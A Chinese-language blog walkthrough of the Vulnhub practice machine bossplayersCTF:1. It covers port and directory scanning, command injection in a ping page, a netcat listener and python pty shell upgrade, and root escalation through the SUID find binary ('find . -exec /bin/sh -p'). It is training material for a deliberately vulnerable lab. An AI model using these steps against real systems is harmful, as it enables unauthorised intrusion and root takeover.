MENU

bossplayersCTF:1-Vulnhub Walkthrough

靶机地址
难度:简单

工具及漏洞信息

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • 命令执行
  • SUID 权限find 命令提权

0x00 信息收集

扫描靶机信息

使用netdiscover扫描当前网段,看见主机名是PCS Systemtechnik GmbH的一般就是靶机了:

nmap -sS -sV -n -T4 -p- 192.168.1.8
  • -sS: TCP同步扫描,也称为半开放扫描
  • -sV: 探测开放端口以确定服务/版本信息
  • -n: 不进行dns解析节约时间
  • -T4: 时序模板设置为4级
  • -p-: 扫描所有端口
  • -A: 启用操作系统检测,版本检测,脚本扫描和跟踪路由,-A选项包含-sV选项

可以看到只开了一个apache服务和ssh

扫描路径

dirb默认扫描了只显示返回状态码为200的地址,还是很不错的:

dirb http://192.168.1.8 -X .php,.txt,.zip,.html

相比之下,dirsearch默认显示所有返回的状态码的路径,使用-x执行不显示的状态码:

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

扫描工具还有gobuster,字典我们可以使用star了2w多星的一个安全字典

kali可直接使用命令apt install seclists -y安装,安装完默认字典位置在

/usr/share/seclists

然后我们扫描一下

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

这个工具也挺好用的

0x01 反弹shell

接着访问一下robots.txt,发现是一串base64编码的字符,解码后发现靶机作者在开玩笑

访问主页,源代码最后有一行注释

尝试使用base64解码三次,得到一个文件名字workinginprogress.php:

访问该路径:

提示让我们执行ping命令,尝试多次后发现是cmd命令注入:

这也就意味着这里能执行shell命令

kali上执行nc监听:

nc -lvp 4444

在刚才的命令注入处反弹shell:

获取到shell后从pythonpty.spawn获取标准pty,从python命令提示符到交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

可以看到我们现在以当前命令注入的身份www-data获取到了的网站根目录下的一个shell

find命令本身具有此权限。 这使我们的工作变得容易一些。

使用find命令查找居于SUID 权限可执行文件,我们使用命令

find / -perm -u=s -type f 2>/dev/null
  • /: 在根目录下查找
  • perm: 查找指定权限的文件,/u=s或者-u=s参数列出系统中所有SUID的档案
  • type: 找符合指定的文件类型的文件,-type f: 查找指定目录下所有普通文件
  • 2>/dev/null: 2>部分的意思是“重定向文件通道号2”-映射到标准错误文件通道stderr,这是程序经常将错误写入其中的位置,/dev/null是一种特殊字符设备,只允许向其中写入任何内容;阅读时,它不会返回任何内容,因此2>/dev/null让shell将标准错误从正在运行的程序重定向到/dev/null,从而有效地将其忽略。
  • SUID: SUID (Set owner User ID up on execution) 简单来说。suid,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。所以我们去找一个文件拥有者为root,而且其执行位上有s的执行文件,那么即使我们用普通用户运行这个文件时,这个文件的执行权限就是root
  • 为什么使用find命令呢?原因:在find的后面,是可以带入命令的,而我们要的就是执行其他命令。也就是说,当我们调用find命令时,因为find命令有s权限,所以find在执行时的权限就是root命令,而在find后面的带入的命令也就是在root权限下执行的命令了

参考文章:

发现/usr/bin/find,也就是当前我们正在使用的find命令是具有SUID权限的

0x02 find 命令提权

尝试使用find命令调用/bin/sh执行shell

find . -exec /bin/sh -p \; -quit
  • exec: 来对每一个找到的文件或目录执行特定命令。它的终止是以;为结束标志的,所以这句命令后面的分号是不可缺少的,考虑到各个系统中分号会有不同的意义,所以前面加反斜杠转义。
  • quit: 表示命令执行完了就退出

成功获得rootshell,查看/root目录下的root.txt文件,完成!

本文完。

参考文章:

最后编辑于: 2020 年 01 月 15 日